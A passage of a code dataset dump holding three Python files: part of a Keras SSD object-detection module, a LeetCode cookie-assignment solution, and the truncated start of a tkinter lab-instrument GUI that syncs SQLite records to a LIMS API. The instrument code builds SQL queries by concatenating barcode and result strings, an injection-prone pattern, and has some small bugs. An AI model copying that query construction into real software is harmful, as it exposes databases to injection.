name=\"fc7_mbox_loc\")(net['fc7'])\n        flatten = Flatten(name='fc7_mbox_loc_flat')\n        net['fc7_mbox_loc_flat'] = flatten(net['fc7_mbox_loc'])\n        name = 'fc7_mbox_conf'\n        if num_classes != 21:\n            name += '_{}'.format(num_classes)\n        net['fc7_mbox_conf'] = Conv2D(num_priors * num_classes, (3, 3), padding=\"same\", name=name)(net['fc7'])\n        flatten = Flatten(name='fc7_mbox_conf_flat')\n        net['fc7_mbox_conf_flat'] = flatten(net['fc7_mbox_conf'])\n        priorbox = PriorBox(img_size, 60.0, max_size=114.0, aspect_ratios=[2, 3],\n                            variances=[0.1, 0.1, 0.2, 0.2],\n                            name='fc7_mbox_priorbox')\n        net['fc7_mbox_priorbox'] = priorbox(net['fc7'])\n        # Prediction from conv6_2\n        num_priors = 6\n        x = Conv2D(num_priors * 4, (3, 3), padding=\"same\", name=\"conv6_2_mbox_loc\")(net['conv6_2'])\n        net['conv6_2_mbox_loc'] = x\n        flatten = Flatten(name='conv6_2_mbox_loc_flat')\n        net['conv6_2_mbox_loc_flat'] = flatten(net['conv6_2_mbox_loc'])\n        name = 'conv6_2_mbox_conf'\n        if num_classes != 21:\n            name += '_{}'.format(num_classes)\n        x = Conv2D(num_priors * num_classes, (3, 3), padding=\"same\", name=name)(net['conv6_2'])\n        net['conv6_2_mbox_conf'] = x\n        flatten = Flatten(name='conv6_2_mbox_conf_flat')\n        net['conv6_2_mbox_conf_flat'] = flatten(net['conv6_2_mbox_conf'])\n        priorbox = PriorBox(img_size, 114.0, max_size=168.0, aspect_ratios=[2, 3],\n                            variances=[0.1, 0.1, 0.2, 0.2],\n                            name='conv6_2_mbox_priorbox')\n        net['conv6_2_mbox_priorbox'] = priorbox(net['conv6_2'])\n        # Prediction from conv7_2\n        num_priors = 6\n        x = Conv2D(num_priors * 4, (3, 3), padding=\"same\", name=\"conv7_2_mbox_loc\")(net['conv7_2'])\n        net['conv7_2_mbox_loc'] = x\n        flatten = Flatten(name='conv7_2_mbox_loc_flat')\n        net['conv7_2_mbox_loc_flat'] = flatten(net['conv7_2_mbox_loc'])\n        name = 'conv7_2_mbox_conf'\n        if num_classes != 21:\n            name += '_{}'.format(num_classes)\n        x = Conv2D(num_priors * num_classes, (3, 3), padding=\"same\", name=name)(net['conv7_2'])\n        net['conv7_2_mbox_conf'] = x\n        flatten = Flatten(name='conv7_2_mbox_conf_flat')\n        net['conv7_2_mbox_conf_flat'] = flatten(net['conv7_2_mbox_conf'])\n        priorbox = PriorBox(img_size, 168.0, max_size=222.0, aspect_ratios=[2, 3],\n                            variances=[0.1, 0.1, 0.2, 0.2],\n                            name='conv7_2_mbox_priorbox')\n        net['conv7_2_mbox_priorbox'] = priorbox(net['conv7_2'])\n        # Prediction from conv8_2\n        num_priors = 6\n        x = Conv2D(num_priors * 4, (3, 3), padding=\"same\", name=\"conv8_2_mbox_loc\")(net['conv8_2'])\n        net['conv8_2_mbox_loc'] = x\n        flatten = Flatten(name='conv8_2_mbox_loc_flat')\n        net['conv8_2_mbox_loc_flat'] = flatten(net['conv8_2_mbox_loc'])\n        name = 'conv8_2_mbox_conf'\n        if num_classes != 21:\n            name += '_{}'.format(num_classes)\n        x = Conv2D(num_priors * num_classes, (3, 3), padding=\"same\", name=name)(net['conv8_2'])\n        net['conv8_2_mbox_conf'] = x\n        flatten = Flatten(name='conv8_2_mbox_conf_flat')\n        net['conv8_2_mbox_conf_flat'] = flatten(net['conv8_2_mbox_conf'])\n        priorbox = PriorBox(img_size, 222.0, max_size=276.0, aspect_ratios=[2, 3],\n                            variances=[0.1, 0.1, 0.2, 0.2],\n                            name='conv8_2_mbox_priorbox')\n        net['conv8_2_mbox_priorbox'] = priorbox(net['conv8_2'])\n        # Prediction from pool6\n        num_priors = 6\n        x = Dense(num_priors * 4, name='pool6_mbox_loc_flat')(net['pool6'])\n        net['pool6_mbox_loc_flat'] = x\n        name = 'pool6_mbox_conf_flat'\n        if num_classes != 21:\n            name += '_{}'.format(num_classes)\n        x = Dense(num_priors * num_classes, name=name)(net['pool6'])\n        net['pool6_mbox_conf_flat'] = x\n        priorbox = PriorBox(img_size, 276.0, max_size=330.0, aspect_ratios=[2, 3],\n                            variances=[0.1, 0.1, 0.2, 0.2],\n                            name='pool6_mbox_priorbox')\n        \n        target_shape = (1, 1, 256)\n        net['pool6_reshaped'] = Reshape(target_shape,\n                                        name='pool6_reshaped')(net['pool6'])\n        net['pool6_mbox_priorbox'] = priorbox(net['pool6_reshaped'])\n        # Gather all predictions\n        net['mbox_loc'] = concatenate([net['conv4_3_norm_mbox_loc_flat'],\n                                 net['fc7_mbox_loc_flat'],\n                                 net['conv6_2_mbox_loc_flat'],\n                                 net['conv7_2_mbox_loc_flat'],\n                                 net['conv8_2_mbox_loc_flat'],\n                                 net['pool6_mbox_loc_flat']],\n                                axis=1, name='mbox_loc')\n        net['mbox_conf'] = concatenate([net['conv4_3_norm_mbox_conf_flat'],\n                                  net['fc7_mbox_conf_flat'],\n                                  net['conv6_2_mbox_conf_flat'],\n                                  net['conv7_2_mbox_conf_flat'],\n                                  net['conv8_2_mbox_conf_flat'],\n                                  net['pool6_mbox_conf_flat']],\n                                 axis=1, name='mbox_conf')\n        net['mbox_priorbox'] = concatenate([net['conv4_3_norm_mbox_priorbox'],\n                                      net['fc7_mbox_priorbox'],\n                                      net['conv6_2_mbox_priorbox'],\n                                      net['conv7_2_mbox_priorbox'],\n                                      net['conv8_2_mbox_priorbox'],\n                                      net['pool6_mbox_priorbox']],\n                                     axis=1, name='mbox_priorbox')\n        if hasattr(net['mbox_loc'], '_keras_shape'):\n            num_boxes = net['mbox_loc']._keras_shape[-1] // 4\n        elif hasattr(net['mbox_loc'], 'int_shape'):\n            num_boxes = K.int_shape(net['mbox_loc'])[-1] // 4\n        net['mbox_loc'] = Reshape((num_boxes, 4),\n                                  name='mbox_loc_final')(net['mbox_loc'])\n        net['mbox_conf'] = Reshape((num_boxes, num_classes),\n                                   name='mbox_conf_logits')(net['mbox_conf'])\n        net['mbox_conf'] = Activation('softmax',\n                                      name='mbox_conf_final')(net['mbox_conf'])\n        net['predictions'] = concatenate([net['mbox_loc'],\n                                   net['mbox_conf'],\n                                   net['mbox_priorbox']],\n                                   axis=2, name='predictions')\n\n        self._model = KerasModel(net['input'], net['predictions'])\n\n        loss = MultiboxLoss(self.num_classes, neg_pos_ratio=2.0).compute_loss\n        metrics = []\n        optimizer = SGD(lr=1e-2)\n        self._defaults = {'loss': loss, 'metrics': metrics, 'optimizer': optimizer}\n        self._custom_objects = {'Normalize': Normalize, 'PriorBox': PriorBox}\n\n\nclass SSDSequence(Sequence):\n    def __init__(self, gt,\n                 batch_size, path_prefix,\n                 images, image_size,\n                 saturation_var=0.5,\n                 brightness_var=0.5,\n                 contrast_var=0.5,\n                 lighting_std=0.5,\n                 hflip_prob=0.5,\n                 vflip_prob=0.5,\n                 do_crop=True,\n                 crop_area_range=[0.75, 1.0],\n                 aspect_ratio_range=[3./4., 4./3.],\n                 train=False,\n                 dir_debug=None,\n                 num_classes=21):\n       \n        dir_path = os.path.dirname(os.path.realpath(__file__))\n        priors = pickle.load(open(os.path.join(dir_path, 'prior_boxes_ssd300.pkl'), 'rb')) #TODO: fix\n        self.bbox_util = BBoxUtility(num_classes, priors)\n        self.gt = gt\n        self.batch_size = batch_size\n        self.path_prefix = path_prefix\n        self.images = images\n        self.image_size = image_size\n        self.train = train\n        self.color_jitter = []\n        self.dir_debug = dir_debug\n        if saturation_var:\n            self.saturation_var = saturation_var\n            self.color_jitter.append(self.saturation)\n        if brightness_var:\n            self.brightness_var = brightness_var\n            self.color_jitter.append(self.brightness)\n        if contrast_var:\n            self.contrast_var = contrast_var\n            self.color_jitter.append(self.contrast)\n        self.lighting_std = lighting_std\n        self.hflip_prob = hflip_prob\n        self.vflip_prob = vflip_prob\n        self.do_crop = do_crop\n        self.crop_area_range = crop_area_range\n        self.aspect_ratio_range = aspect_ratio_range\n        \n    def grayscale(self, rgb):\n        return rgb.dot([0.299, 0.587, 0.114])\n\n    def saturation(self, rgb):\n        gs = self.grayscale(rgb)\n        alpha = 2 * np.random.random() * self.saturation_var \n        alpha += 1 - self.saturation_var\n        rgb = rgb * alpha + (1 - alpha) * gs[:, :, None]\n        return np.clip(rgb, 0, 255)\n\n    def brightness(self, rgb):\n        alpha = 2 * np.random.random() * self.brightness_var \n        alpha += 1 - self.saturation_var\n        rgb = rgb * alpha\n        return np.clip(rgb, 0, 255)\n\n    def contrast(self, rgb):\n        gs = self.grayscale(rgb).mean() * np.ones_like(rgb)\n        alpha = 2 * np.random.random() * self.contrast_var \n        alpha += 1 - self.contrast_var\n        rgb = rgb * alpha + (1 - alpha) * gs\n        return np.clip(rgb, 0, 255)\n\n    def lighting(self, img):\n        cov = np.cov(img.reshape(-1, 3) / 255.0, rowvar=False)\n        eigval, eigvec = np.linalg.eigh(cov)\n        noise = np.random.randn(3) * self.lighting_std\n        noise = eigvec.dot(eigval * noise) * 255\n        img += noise\n        return np.clip(img, 0, 255)\n    \n    def horizontal_flip(self, img, y):\n        if np.random.random() < self.hflip_prob:\n            img = img[:, ::-1]\n            y[:, [0, 2]] = 1 - y[:, [2, 0]]\n        return img, y\n    \n    def vertical_flip(self, img, y):\n        if np.random.random() < self.vflip_prob:\n            img = img[::-1]\n            y[:, [1, 3]] = 1 - y[:, [3, 1]]\n        return img, y\n    \n    def random_sized_crop(self, img, targets_y):\n        img_w = img.shape[1]\n        img_h = img.shape[0]\n        img_area = img_w * img_h\n        random_scale = np.random.random()\n        random_scale *= (self.crop_area_range[1] -\n                         self.crop_area_range[0])\n        random_scale += self.crop_area_range[0]\n        target_area = random_scale * img_area\n        random_ratio = np.random.random()\n        random_ratio *= (self.aspect_ratio_range[1] -\n                         self.aspect_ratio_range[0])\n        random_ratio += self.aspect_ratio_range[0]\n        w = np.round(np.sqrt(target_area * random_ratio))     \n        h = np.round(np.sqrt(target_area / random_ratio))\n        if np.random.random() < 0.5:\n            w, h = h, w\n        w = min(w, img_w)\n        w_rel = w / img_w\n        w = int(w)\n        h = min(h, img_h)\n        h_rel = h / img_h\n        h = int(h)\n        x = np.random.random() * (img_w - w)\n        x_rel = x / img_w\n        x = int(x)\n        y = np.random.random() * (img_h - h)\n        y_rel = y / img_h\n        y = int(y)\n        img = img[y:y+h, x:x+w]\n        new_targets = []\n        for box in targets_y:\n            cx = 0.5 * (box[0] + box[2])\n            cy = 0.5 * (box[1] + box[3])\n            if (x_rel < cx < x_rel + w_rel and\n                y_rel < cy < y_rel + h_rel):\n                xmin = (box[0] - x_rel) / w_rel\n                ymin = (box[1] - y_rel) / h_rel\n                xmax = (box[2] - x_rel) / w_rel\n                ymax = (box[3] - y_rel) / h_rel\n                xmin = max(0, xmin)\n                ymin = max(0, ymin)\n                xmax = min(1, xmax)\n                ymax = min(1, ymax)\n                box[:4] = [xmin, ymin, xmax, ymax]\n                new_targets.append(box)\n        new_targets = np.asarray(new_targets).reshape(-1, targets_y.shape[1])\n        return img, new_targets\n    \n    def __getitem__(self, idx):\n        ix = np.random.choice(np.arange(len(self.images)), self.batch_size) # TODO: shuffle per batch?\n        inputs = []\n        targets = []\n        for i in ix:\n            filename = self.images[i]\n            img_path = os.path.join(self.path_prefix, filename)\n            img = cv2.imread(img_path) # TODO: fix RGB or BGR?\n            y = np.array(self.gt[filename].copy())\n            if self.train and self.do_crop:\n                img, y = self.random_sized_crop(img, y)\n            img = cv2.resize(img, self.image_size)\n            if self.train:\n                shuffle(self.color_jitter)\n                for jitter in self.color_jitter:\n                    img = jitter(img)\n                if self.lighting_std:\n                    img = self.lighting(img)\n                if self.hflip_prob > 0:\n                    img, y = self.horizontal_flip(img, y)\n                if self.vflip_prob > 0:\n                    img, y = self.vertical_flip(img, y)\n            if self.dir_debug is not None:\n                y2 = y.copy()\n                img2 = img.copy()\n                for yy2 in y2:\n                    cv2.rectangle(img2, (int(yy2[0] * img2.shape[1]), int(yy2[1] * img2.shape[0])), (int(yy2[2] * img2.shape[1]), int(yy2[3] * img2.shape[0])), (255,0,0), 3)\n                cv2.imwrite(self.dir_debug + filename, img2)\n            y = self.bbox_util.assign_boxes(y)\n            img = np.array(img, dtype=np.float32)\n            img = preprocess_input(img)\n            inputs.append(img)                \n            targets.append(y)\n        return np.array(inputs), np.array(targets)\n    \n    def __len__(self):\n        x = int(np.ceil(len(self.images) / float(self.batch_size)))\n        return x\n\ndef _ssd_voc_iterator(data_dir, file_path, label_dir, image_size=(300,300), train=False, dir_debug=None):\n    def f_iter(arch, bs):\n        with open(file_path) as f:\n            files = f.readlines()\n\n        images_files = [f.strip('\\n\\r') + '.jpg' for f in files]\n        annotations_files = [f.strip('\\n\\r') + '.xml' for f in files]\n\n        gt = dict()\n        classes = ['person', 'bird', 'cat', 'cow', 'dog', 'horse', 'sheep', 'aeroplane',\n                'bicycle', 'boat', 'bus', 'car', 'motorbike', 'train', 'bottle', 'chair',\n                'diningtable', 'pottedplant', 'sofa', 'tvmonitor']\n        for a in annotations_files:\n            xml_path = os.path.join(label_dir, a)\n            tree = ElementTree.parse(xml_path)\n            root_node = tree.getroot()\n            img_filename = root_node.find('filename').text\n            size_tree = root_node.find('size')\n            width = float(size_tree.find('width').text)\n            height = float(size_tree.find('height').text)\n            object_tree_list = root_node.findall('object')\n            objs = []\n            for object_annotation in object_tree_list:\n                obj = []\n                class_name = object_annotation.find('name').text\n                obj_bbox = object_annotation.find('bndbox')\n                obj.append(round(float(obj_bbox.find('xmin').text)/width, 5))\n                obj.append(round(float(obj_bbox.find('ymin').text)/height, 5))\n                obj.append(round(float(obj_bbox.find('xmax').text)/width, 5))\n                obj.append(round(float(obj_bbox.find('ymax').text)/height, 5))\n                for c in classes:\n                    if c==class_name:\n                        obj.append(1.)\n                    else:\n                        obj.append(0.)\n                objs.append(obj)\n            gt[img_filename] = objs\n\n        i = SSDSequence(gt,\n                 bs, data_dir,\n                 images_files, image_size=image_size,\n                 saturation_var=0.5,\n                 brightness_var=0.5,\n                 contrast_var=0.5,\n                 lighting_std=0.5,\n                 hflip_prob=0.5,\n                 vflip_prob=0.5,\n                 do_crop=True,\n                 crop_area_range=[0.75, 1.0],\n                 aspect_ratio_range=[3./4., 4./3.], \n                 train=train,\n                 dir_debug=dir_debug,\n                 num_classes=arch.num_classes)\n        return i\n    \n    return f_iter\n\ndef _ssd_iterator(data_dir, annotations, classes, image_size=(300,300), train=False, dir_debug=None):\n    def f_iter(arch, bs):\n        gt = dict()\n        images_files = []\n        for a in annotations:\n            img_file, instance, cl, xmin, xmax, ymin, ymax = a.split(',')\n            images_files.append(img_file)\n            img = cv2.imread(os.path.join(data_dir, img_file))\n            h, w, _ = img.shape\n            obj = []\n            obj.append(round(float(xmin)/w, 5))\n            obj.append(round(float(ymin)/h, 5))\n            obj.append(round(float(xmax)/w, 5))\n            obj.append(round(float(ymax)/h, 5))\n            for c in classes:\n                if c==cl:\n                    obj.append(1.)\n                else:\n                    obj.append(0.)\n            if img_file in gt:\n                gt[img_file].append(obj)\n            else:\n                gt[img_file] = [obj]\n\n        i = SSDSequence(gt,\n                 bs, data_dir,\n                 images_files, image_size=image_size,\n                 saturation_var=0.5,\n                 brightness_var=0.5,\n                 contrast_var=0.5,\n                 lighting_std=0.5,\n                 hflip_prob=0.5,\n                 vflip_prob=0,\n                 do_crop=True,\n                 crop_area_range=[0.75, 1.0],\n                 aspect_ratio_range=[3./4., 4./3.], \n                 train=train,\n                 dir_debug=dir_debug,\n                 num_classes=arch.num_classes)\n        return i\n    \n    return f_iter\n\nclass SSDData(vectorial.core.Data):\n    def __init__(self, tg, vg, eg):\n        super().__init__(tg, vg, eg)\n\n    @classmethod\n    def from_voc(cls, data_dir, train_file_path, val_file_path, label_dir, seed=None):\n        tg = _ssd_voc_iterator(data_dir, train_file_path, label_dir, train=True, dir_debug=None)\n        vg = _ssd_voc_iterator(data_dir, val_file_path, label_dir, train=False, dir_debug=None)\n        eg = None\n        return cls(tg, vg, eg)\n    \n    @classmethod\n    def from_directory(cls, data_dir, annotations_file, classes, seed=None, dir_debug=None):\n        with open(annotations_file) as f:\n            annotations = f.readlines()\n\n        annotations = [f.strip('\\n\\r') for f in annotations if not f.split(',')[0].lower().endswith('gif')]\n        annotations = annotations[1:] # exclude header\n        shuffle(annotations)\n        cnt_train = int(len(annotations)*.8)\n        train_annotations = annotations[:cnt_train]\n        val_annotations = annotations[cnt_train:]\n\n        tg = _ssd_iterator(data_dir, annotations, classes, train=True, dir_debug=dir_debug)\n        vg = _ssd_iterator(data_dir, annotations, classes, train=False, dir_debug=dir_debug)\n        eg = None\n        return cls(tg, vg, eg)\n\nclass SSDModel(vectorial.core.Model):\n    def __init__(self, name, architecture, data):\n        super().__init__(name, architecture, data)\n        dir_path = os.path.dirname(os.path.realpath(__file__))\n        architecture._model.load_weights(os.path.join(dir_path, 'weights_SSD300.hdf5'), by_name=True)\n\n        freeze = ['input_1', 'conv1_1', 'conv1_2', 'pool1',\n                'conv2_1', 'conv2_2', 'pool2', 'conv3_1',\n                'conv3_2', 'conv3_3', 'pool3']\n        \n        for L in architecture._model.layers:\n            if L.name in freeze:\n                L.trainable = False\n\n    def predict_path(self, weights, img_path, classes, threshold=0.8):\n        img = cv2.imread(img_path)\n        return self.predict(weights, [img], classes, threshold)\n    \n    def predict(self, weights, images, classes, threshold=0.8):\n        self._architecture._model.load_weights(weights)\n        inputs = []\n        for img in images:\n            img = np.array(img, dtype=np.float32)\n            img = cv2.resize(img, (300,300))\n            inputs.append(img.copy())\n        inputs = preprocess_input(np.array(inputs))\n        preds = self._architecture._model.predict(inputs, batch_size=64)\n        bbox_util = BBoxUtility(len(classes)+1)\n        results = bbox_util.detection_out(preds)\n        results_dicts = []\n        for r_image in results:\n            dicts = []\n            for r in r_image:\n                label, conf, xmin, ymin, xmax, ymax = r\n                if conf>threshold:\n                    dicts.append({'label': label, 'conf': conf, 'xmin': xmin, 'ymin': ymin, 'xmax': xmax, 'ymax': ymax})\n            results_dicts.append(dicts)\n        return results_dicts\n","sub_path":"vectorial/images/objectdetection/ssd/ssd.py","file_name":"ssd.py","file_ext":"py","file_size_in_byte":50450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"359845635","text":"'''\n假设你是一位很棒的家长，想要给你的孩子们一些小饼干。但是，每个孩子最多只能给一块饼干。\n对每个孩子 i，都有一个胃口值 g[i]，这是能让孩子们满足胃口的饼干的最小尺寸；并且每块饼干 j，都有一个尺寸 s[j] 。如果 s[j] >= g[i]，我们可以将这个饼干 j 分配给孩子 i ，这个孩子会得到满足。你的目标是尽可能满足越多数量的孩子，并输出这个最大数值。\n\n示例 1:\n输入: g = [1,2,3], s = [1,1]\n输出: 1\n解释:\n你有三个孩子和两块小饼干，3个孩子的胃口值分别是：1,2,3。\n虽然你有两块小饼干，由于他们的尺寸都是1，你只能让胃口值是1的孩子满足。\n所以你应该输出1。\n\n链接：https://leetcode-cn.com/problems/assign-cookies\n'''\nfrom typing import List\ndef findContentChildren(g: List[int], s: List[int]) -> int:\n    '''\n    排序加双指针\n    :param g:\n    :param s:\n    :return:\n    '''\n    g.sort()\n    s.sort()\n    glen,slen = len(g),len(s)\n    i , j = 0,0\n    while i < glen and j < slen:\n        if s[j] >= g[i]:\n            i+=1\n            j+=1\n        else:\n            j+=1\n    return i\n\n","sub_path":"code/34_分发饼干.py","file_name":"34_分发饼干.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"58770917","text":"import tkinter as tk\nimport tkinter.ttk as ttk\nimport os\nimport sys\nimport socket\nimport serial\nimport sqlite3\nimport platform\npy3 = True\n\nclass Toplevel1():\n\n    instrumentName = \"Network_based_instrument\"\n    port = 5100\n    ip = 0\n    \n    # update counter where counter is used as the test id\n    def cset(self):\n        self.dbc('update counter set count = ' + str(self.cget() + 1) +\n                 ' where id = 1 ')\n        return True\n\n    # gets counter\n    def cget(self):\n        x = self.dbc('select count from counter where id = 1 ')[0][0]\n        return x\n\n    # inserts test that currespond to a given barcode to the database\n    def testset(self, result):\n        self.dbc('insert into test(test_id,barcodeid,results) values('\n                 '' + str(self.cget()) + ',\"' + result['id'] + '\",\"' + str(result['result']) + '\");')\n        self.cset()\n        return True\n\n    # contact the LIMS api through a given url and gets the sample data\n    # using barcode\n    def getSampleParameters(self, sampleBarCode):\n        sampleBarCode = str(sampleBarCode)\n        print(self.sampleid + b'=' + sampleBarCode.encode())\n        try:\n            resp = requests.get(self.apigetter, params=self.sampleid + b'=' +\n                                sampleBarCode.encode(), timeout=2)\n            if resp.status_code == 200:\n                respjson = resp.json()\n                print(respjson)\n                if 'error' in respjson:\n                    return False\n                required_tests = []\n                for i in respjson[0]['parameters']:\n                    required_tests.append(i['code'])\n                print(required_tests)\n                return required_tests\n            else:\n                print('getSampleParameters: invalid resp')\n                return 'nc'\n        except:\n            print('getsampleParameters: error in requests')\n            return 'nc'\n\n    # upload the state of given test to uploaded\n    def testseterror(self, test):\n        # print('setting uploaded')\n        if self.dbc('update test set uploadstate = \"e\" where test_id = ' + str(test)):\n            return True\n        else:\n            return False\n            \n    # upload the state of given test to uploaded\n    def testsetuploaded(self, test):\n        # print('setting uploaded')\n        if self.dbc('update test set uploadstate = \"y\" where test_id = ' + str(test)):\n            return True\n        else:\n            return False\n\n    # uploads tests for the same api through different url\n    def upload(self, sample):\n        print('uploader')\n        record = {'id': sample[1], 'instrument_code': self.instrumentName}\n        print(record)\n        parameters = []\n        for test in sample[2]:\n            parameters.append(\n                {\n                    'parameter': list(test.keys())[0],\n                    'results': list(test.values())[0],\n                    'status': 'null',\n                    'flag': 'null'\n                }\n            )\n        record['parameters'] = parameters\n        print(record)\n        try:\n            resp = requests.post(self.apisetter, json=record)\n            if resp.status_code == 200:\n                self.testsetuploaded(sample[0])\n                print(resp.json())\n                return 'done'\n            else:\n                print(resp.status_code)\n                print(resp.content.decode())\n                return 'connection error'\n        except:\n            return 'upload: connection error'\n\n    # write clicked create connection\n    # and gets test results where the upload state is \"n\"\n    # which means not uploaded\n    def attemptUpload(self):\n        samples = self.dbc('select * from test where uploadstate = \"n\" order by created_at desc')\n        # for i in samples:\n            # print(i)\n            # print('\\n')\n        if len(samples)==0:\n            return\n        for sample in samples:\n            parms = self.getSampleParameters(sample[1])\n\n            # this condition check is the test code it within the parms brought from the api LIMS\n            # for the given barcode\n            # note that test[1] is the barcode it self\n            if parms:\n                # print(sample[2])\n                string = sample[2][1:-1].split(',')\n                # print(string)\n                testlist = []\n                for test in string:\n                    test = test.split(':')\n                    # print(test)\n                    testlist.append({test[0].strip()[1:-1]: test[1].strip()[1:-1]})\n                # print(testlist)\n                samplelist = []\n                samplelist.append(sample[0])\n                samplelist.append(sample[1])\n                samplelist.append(testlist)\n                # print(samplelist)\n                self.upload(samplelist)\n            else:\n                self.testseterror(sample[0])\n\n    # upload the last test result and\n    # try to upload unuploaded tests\n    def writer(self, result):\n        print('Writer: result,', result)\n        self.testset(result)\n        self.attemptUpload()\n\n    # craete a connection\n    def dbc(self, d=''):\n        # print(d)\n        os.chdir(self.path + self.instrumentName)\n        # print('dbc',os.getcwd())\n        if d:\n            with sqlite3.connect('median.db') as cnxn:\n                # print('first with')\n                c = cnxn.cursor()\n                x = list(c.execute(d))\n                c.close()\n            return x\n\n\n    def run(self):\n        self.connect_button.configure(state='disabled')\n        self.show('connecting')\n        # prepare connection\n        # check if the conenction valid\n        # enable disconnect button\n        # call the amin loop\n\n    # turns off the connect button and start the run function\n    # this function only works if the connection button is active\n    def connect(self, p1):\n        # print('starting one')\n        if self.connect_button.state()[0] == 'active':\n            self.show('starting')\n            self.run()\n\n    # show used to # print strings on the connection state scrolled text box\n    def show(self, string):\n        self.connection_state_text.configure(state='normal')\n        self.connection_state_text.insert(tk.END, '\\n'+string)\n        self.connection_state_text.configure(state='disabled')\n    \n    # gets the right ip\n    def getIP(self):\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        s.connect(('8.8.8.8', 80))\n        self.ip = s.getsockname()[0]\n        s.close()\n\n    # exit2 is basically a program close button it check is the exit button is working and then\n    # it calls the disconnect and the root.destroy functions\n    # and finally close the program with sys.close\n    def exit2(self, p1):\n        if self.exit_btn.state()[0] == 'active':\n            self.disconnect()\n            self.root.destroy()\n            sys.exit()\n\n    # the initialization function\n    def __init__(self):\n        self.root = tk.Tk()\n        '''This class configures and populates the toplevel window.\n           top is the toplevel containing window.'''\n        _bgcolor = '#d9d9d9'  # X11 color: 'gray85'\n        _fgcolor = '#000000'  # X11 color: 'black'\n        _compcolor = '#d9d9d9'  # X11 color: 'gray85'\n        _ana1color = '#d9d9d9'  # X11 color: 'gray85'\n        _ana2color = '#ececec'  # Closest X11 color: 'gray92'\n        self.style = ttk.Style()\n        if sys.platform == \"win32\":\n            self.style.theme_use('winnative')\n        self.style.configure('.', background=_bgcolor)\n        self.style.configure('.', foreground=_fgcolor)\n        self.style.configure('.', font=\"TkDefaultFont\")\n        self.style.map('.', background=\n        [('selected', _compcolor), ('active', _ana2color)])\n\n        self.root.geometry(\"595x600+422+80\")\n        self.root.title(self.instrumentName)\n        self.root.configure(background=\"#d9d9d9\")\n        self.root.configure(highlightbackground=\"#d9d9d9\")\n        self.root.configure(highlightcolor=\"black\")\n\n        self.connection_parameter_frame = ttk.Labelframe(self.root)\n        self.connection_parameter_frame.place(relx=0.017, rely=0.02\n                                              , relheight=0.274, relwidth=0.941)\n        self.connection_parameter_frame.configure(relief='')\n        self.connection_parameter_frame.configure(text='''connection_parameter''')\n        self.connection_parameter_frame.configure(width=560)\n\n        self.port_description_frame = ttk.Labelframe(self.connection_parameter_frame)\n        self.port_description_frame.place(relx=0.018, rely=0.519, relheight=0.333\n                                          , relwidth=0.714, bordermode='ignore')\n        self.port_description_frame.configure(relief='')\n        self.port_description_frame.configure(text='''network_parameters''')\n        self.port_description_frame.configure(width=400)\n\n        self.port_entry = ttk.Entry(self.port_description_frame)\n        self.port_entry.place(relx=0.025, rely=0.444, relheight=0.467, relwidth=0.33, bordermode='ignore')\n        self.port_entry.configure(takefocus=\"\")\n        self.port_entry.configure(cursor=\"ibeam\")\n\n        self.ip_entry = ttk.Entry(self.port_description_frame)\n        self.ip_entry.place(relx=0.37, rely=0.444, relheight=0.467, relwidth=0.596, bordermode='ignore')\n        self.ip_entry.configure(takefocus=\"\")\n        self.ip_entry.configure(cursor=\"ibeam\")\n\n        self.connect_button = ttk.Button(self.connection_parameter_frame)\n        self.connect_button.place(relx=0.804, rely=0.34, height=25, width=76\n                                  , bordermode='ignore')\n        self.connect_button.configure(text='''connect''')\n        self.connect_button.configure(command=lambda e='': self.connect(e))\n\n        self.disconnect_button = ttk.Button(self.connection_parameter_frame)\n        self.disconnect_button.place(relx=0.804, rely=0.54, height=25, width=76\n                                     , bordermode='ignore')\n        self.disconnect_button.configure(takefocus=\"\")\n        self.disconnect_button.configure(text='''disconnect''')\n        self.disconnect_button.configure(state='disable')\n        self.disconnect_button.configure(command=lambda e='': self.exit1(e))\n\n        self.exit_btn = ttk.Button(self.connection_parameter_frame)\n        self.exit_btn.place(relx=0.804, rely=0.74, height=25, width=76\n                            , bordermode='ignore')\n        self.exit_btn.configure(takefocus=\"\")\n        self.exit_btn.configure(text='''exit''')\n        self.exit_btn.configure(command=lambda e='': self.exit2(e))\n\n        self.connection_state = ttk.Labelframe(self.root)\n        self.connection_state.place(relx=0.017, rely=0.304, relheight=0.68\n                                    , relwidth=0.941)\n        self.connection_state.configure(relief='')\n        self.connection_state.configure(text='''connection_state''')\n        self.connection_state.configure(width=560)\n\n        self.connection_state_text = ScrolledText(self.connection_state)\n        self.connection_state_text.place(relx=0.018, rely=0.06, relheight=0.928\n                                         , relwidth=0.966, bordermode='ignore')\n        self.connection_state_text.configure(background=\"white\")\n        self.connection_state_text.configure(state='disabled')\n        self.connection_state_text.configure(font=\"TkTextFont\")\n        self.connection_state_text.configure(foreground=\"black\")\n        self.connection_state_text.configure(highlightbackground=\"#d9d9d9\")\n        self.connection_state_text.configure(highlightcolor=\"black\")\n        self.connection_state_text.configure(insertbackground=\"black\")\n        self.connection_state_text.configure(insertborderwidth=\"3\")\n        self.connection_state_text.configure(selectbackground=\"#c4c4c4\")\n        self.connection_state_text.configure(selectforeground=\"black\")\n        self.connection_state_text.configure(width=254)\n        self.connection_state_text.configure(wrap=\"none\")\n\n        '''the following two statements used to initiate the port entry and file path entry'''\n        self.getIP()\n        self.ip_entry.insert(0, self.ip)\n        self.port_entry.insert(0, self.port)\n        self.path=str(os.path.expanduser('~/'))\n        os.chdir(self.path)\n        try:\n            os.mkdir(self.instrumentName)\n        except FileExistsError:\n            pass\n        os.chdir(self.path + self.instrumentName)\n        print(os.getcwd())\n\n        self.dbc()\n        try:\n            self.dbc('''\n                    CREATE TABLE sample(\n                    barcode unsigned int primary key,\n                    created_at datetime not null default current_timestamp\n                    )\n                ''')\n        except sqlite3.OperationalError as e:\n            # print('already exists')\n            if str(e)[-6:] == 'exists':\n                pass\n            else:\n                raise sqlite3.OperationalError\n\n\n        try:\n            self.dbc('''\n                    CREATE TABLE counter(\n                    id unsigned int primary key not null default 1,\n                    count unsigned int not null default 1\n                    )\n                ''')\n            self.dbc('insert into counter(id,count) values(1,1);')\n        except sqlite3.OperationalError as e:\n            # print('already exists')\n            if str(e)[-6:] == 'exists':\n                pass\n            else:\n                raise sqlite3.OperationalError\n\n\n\n        try:\n            self.dbc('''\n                    CREATE TABLE test(\n                    test_id unsigned int primary key not null,\n                    barcodeid varchar(30) not 